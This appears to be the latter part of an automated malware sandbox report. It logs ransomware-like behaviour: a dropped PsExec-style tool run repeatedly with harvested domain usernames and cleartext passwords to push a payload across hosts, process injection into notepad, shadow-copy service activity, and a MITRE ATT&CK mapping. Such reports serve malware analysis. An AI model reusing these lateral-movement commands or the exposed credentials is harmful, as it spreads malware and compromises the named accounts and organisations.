    C:\Windows\TEMP\_sin.exe \\255.255.255.255 -u "10.95.47.55\WW930\reportadmin" -p "report2Admin05!" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:632
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\Lzukliou -u "ww930\deb00999" -p "1qaz2wsx#EDC" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:1244
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\239.255.255.250 -u "WW930\w99a1mf0" -p "SUNTEMINdec2017" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    PID:2940
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\255.255.255.255 -u "10.95.47.55\WW930\reportadmin" -p "report2Admin05!" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:280
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\10.10.0.255 -u "RUVOZ990FILSRV\MICROSOFT$DPM$Acct" -p "1qay2wsx_!NSN2" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:3348
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\239.255.255.250 -u "WW930\w99a1mf0" -p "SUNTEMINdec2017" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:2168
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\10.10.0.255 -u "RUVOZ990FILSRV\MICROSOFT$DPM$Acct" -p "1qay2wsx_!NSN2" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:496
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\10.10.0.59 -u "ww930\deb00999" -p "1qaz2wsx#EDC" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:2412
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\255.255.255.255 -u "WW930\A685898" -p "Sveat=84" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:3876
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\255.255.255.255 -u "WW930\A685898" -p "Sveat=84" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:1008
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\Lzukliou -u "WW930\w99a1mf0" -p "SUNTEMINdec2017" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    PID:3800
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\10.10.0.59 -u "WW930\w99a1mf0" -p "SUNTEMINdec2017" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:2072
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\255.255.255.255 -u "(null)\[email protected]" -p "Sveat=84" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:3760
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\Lzukliou -u "ww930\deb00999" -p "1qaz2wsx#EDC" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:1540
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\255.255.255.255 -u "(null)\[email protected]" -p "Sveat=84" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    PID:2776
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\Lzukliou -u "RUVOZ990FILSRV\MICROSOFT$DPM$Acct" -p "1qay2wsx_!NSN2" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:2212
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\239.255.255.250 -u "RUVOZ990FILSRV\MICROSOFT$DPM$Acct" -p "1qay2wsx_!NSN2" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:2140
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\10.10.0.255 -u "WW930\a593309" -p "Provoka426446" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    PID:252
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\10.10.0.59 -u "RUVOZ990FILSRV\MICROSOFT$DPM$Acct" -p "1qay2wsx_!NSN2" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:60
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\10.10.0.73 -u "ww930\deb00999" -p "1qaz2wsx#EDC" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:1832
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\239.255.255.250 -u "RUVOZ990FILSRV\MICROSOFT$DPM$Acct" -p "1qay2wsx_!NSN2" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    PID:996
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\255.255.255.255 -u "MicrosoftOffice16_Data:SSPI:[email protected]\(null)" -p "Sveat=84" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    PID:684
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\10.10.0.255 -u "WW930\a593309" -p "Provoka426446" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:4000
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\255.255.255.255 -u "MicrosoftOffice16_Data:SSPI:[email protected]\(null)" -p "Sveat=84" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:4176
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\Lzukliou -u "WW930\a593309" -p "Provoka426446" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:4224
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\Lzukliou -u "WW930\w99a1mf0" -p "SUNTEMINdec2017" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    PID:4264
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\igmp.mcast.net -u "ww930\deb00999" -p "1qaz2wsx#EDC" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    PID:4276
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\10.10.0.59 -u "WW930\a593309" -p "Provoka426446" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:4400
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\10.10.0.73 -u "WW930\w99a1mf0" -p "SUNTEMINdec2017" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:4412
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\224.0.0.22 -u "ww930\deb00999" -p "1qaz2wsx#EDC" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:4500
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\Lzukliou -u "emea\elena.samokhvalova" -p "Provoka426446" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:4512
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\Lzukliou -u "RUVOZ990FILSRV\MICROSOFT$DPM$Acct" -p "1qay2wsx_!NSN2" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:4568
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\10.10.0.59 -u "emea\elena.samokhvalova" -p "Provoka426446" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:4680
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\10.10.0.73 -u "RUVOZ990FILSRV\MICROSOFT$DPM$Acct" -p "1qay2wsx_!NSN2" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    PID:4692
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\10.10.0.255 -u "emea\elena.samokhvalova" -p "Provoka426446" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:4776
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\239.255.255.250 -u "WW930\a593309" -p "Provoka426446" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Modifies data under HKEY_USERS
    PID:4788
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\igmp.mcast.net -u "WW930\w99a1mf0" -p "SUNTEMINdec2017" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Modifies data under HKEY_USERS
    PID:4808
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\Lzukliou -u "MicrosoftOffice16_Data:SSPI:[email protected]\(null)" -p "Provoka426446" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    PID:4884
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\10.10.0.255 -u "emea\elena.samokhvalova" -p "Provoka426446" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    - Modifies data under HKEY_USERS
    PID:4924
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\239.255.255.250 -u "WW930\a593309" -p "Provoka426446" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    PID:4948
- - C:\Windows\TEMP\_sin.exe
    C:\Windows\TEMP\_sin.exe \\224.0.0.22 -u "WW930\w99a1mf0" -p "SUNTEMINdec2017" -accepteula -d -s -c -f "C:\Windows\TEMP\_sqc.exe"
    3⤵
    PID:5048

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3756

C:\Windows\PSEXESVC.exe
C:\Windows\PSEXESVC.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3996
- C:\Windows\_sqc.exe
  "_sqc.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3852
- - C:\Windows\SysWOW64\notepad.exe
    "C:\Windows\system32\notepad.exe"
    3⤵
    - Drops file in Windows directory
    PID:3464
- C:\Windows\_sqc.exe
  "_sqc.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2668
- - C:\Windows\SysWOW64\notepad.exe
    "C:\Windows\system32\notepad.exe"
    3⤵
    - Drops file in Windows directory
    PID:4004
- C:\Windows\_sqc.exe
  "_sqc.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:636
- - C:\Windows\SysWOW64\notepad.exe
    "C:\Windows\system32\notepad.exe"
    3⤵
    - Drops file in Windows directory
    PID:564

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3988

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1540

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:2672

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Indicator Removal on Host

T1070

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1468-5-0x0000000005AA0000-0x0000000005AA1000-memory.dmp

Download

memory/1468-6-0x0000000005A60000-0x0000000005A61000-memory.dmp

Download

memory/1468-8-0x0000000006760000-0x00000000067CB000-memory.dmp

Download

memory/1468-3-0x0000000005CF0000-0x0000000005CF1000-memory.dmp

Download

memory/1468-7-0x0000000005A50000-0x0000000005A54000-memory.dmp

Download

memory/1468-0-0x00000000737B0000-0x0000000073E9E000-memory.dmp

Download

memory/1468-9-0x0000000008C80000-0x0000000008CE6000-memory.dmp

Download

memory/1468-1-0x0000000000F80000-0x0000000000F81000-memory.dmp

Download

memory/1468-4-0x00000000058F0000-0x00000000058F1000-memory.dmp

Download

memory/3464-45-0x0000000000550000-0x0000000000552000-memory.dmp

Download

memory/3532-17-0x0000000005FD0000-0x0000000005FD1000-memory.dmp

Download

memory/3532-12-0x00000000737B0000-0x0000000073E9E000-memory.dmp

Download

memory/3532-18-0x00000000065A0000-0x00000000065A1000-memory.dmp

Download

memory/3532-10-0x0000000000400000-0x0000000000458000-memory.dmp

Download